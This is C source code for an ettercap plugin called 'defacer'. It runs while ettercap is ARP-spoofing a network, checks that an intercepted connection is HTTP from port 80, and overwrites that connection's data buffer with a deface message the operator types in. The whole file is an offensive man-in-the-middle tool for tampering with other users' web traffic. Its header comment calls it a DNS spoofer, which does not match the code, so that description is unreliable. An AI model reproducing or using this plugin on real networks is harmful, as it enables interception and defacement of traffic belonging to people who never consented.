/*
    defacer -- ettercap plugin -- spoof DNS requests

    Copyright (C) 2001  NaGoR
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

    $Id: defacer.c,v 0.1 2007/06/02  sha0@BadCheckSum.com  Exp $
*/



#ifdef CYGWIN
   #include <windows.h>
   #include <winsock2.h>
#else
   #include <sys/time.h>
   #include <unistd.h>
   #include <sys/types.h>
   #include <netinet/in.h>
#endif


#include "../../src/include/ec_main.h"
#include "../../src/include/ec_version.h"
#include "../../src/include/ec_plugins.h"
#include "../../src/include/ec_inet_structures.h"
#include "../../src/include/ec_inet.h"
#include "../../src/include/ec_inet_forge.h"
#include "../../src/include/ec_error.h"
#include "../../src/include/ec_parser.h"
#include "../../src/include/ec_queue.h"

#include <string.h>
#include <stdlib.h>
#include <sys/param.h>
//#include <arpa/nameser.h>
//#include <resolv.h>

int Plugin_Init(void *);
int Plugin_Fini(void *);
int defacer (void *);

struct plugin_ops defacer_ops = {
	ettercap_version: VERSION,
	plug_info:	"Deface all web connections",
	plug_version:	1,
	plug_type:	PT_EXT,
	hook_point:	HOOK_NONE,
	hook_function:	&defacer,
};

int Plugin_Init(void *params) {
	return Plugin_Register(params, &defacer_ops);
}

int Plugin_Fini(void *params) {
	return 0;
}

int defacer (void *data) {
	char message[256];
	char *sen;
	int sock;
	struct recv_packet rec;
	char webserver_mac[6];
	DISSECTION *d = (DISSECTION *)data;
	

	// Initial checks

	if (number_of_connections < 1) {
		Plugin_Output("Not enought connections\n\n");
		return -1;
	}

	if (!Options.arpsniff) {
		Plugin_Output("Not in arp spoof mode\n\n");
		return -2;
	}

	if (!strcmp(Host_Source.ip,"") && !strcmp(Host_Dest.ip,"")) {
		Plugin_Output("You have to select a source and a destiny");
		return -3;
	}

	if (d->connection->proto != 'T' || d->connection->source_port != 80) {
		Plugin_Output("This connection is not a webserver\n\n");
		return -4;
	}


	// Get deface message

	Plugin_Output("Deface message:\n");	
	Plugin_Input(message, 255, P_BLOCK);

	// Put the message in the connection

	memcpy(d->connection->DataBuffer, message, strlen(message));
	
		
	return 1;	
}

